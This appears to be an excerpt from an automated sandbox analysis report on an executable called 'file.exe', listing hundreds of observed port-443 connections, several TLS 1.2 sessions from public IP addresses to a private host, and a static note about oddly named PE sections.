Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443

Source: unknown	HTTPS traffic detected: 20.198.119.143:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.17:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.18.109.164:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.118.190:443 -> 192.168.2.6:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.169.57:443 -> 192.168.2.6:50077 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
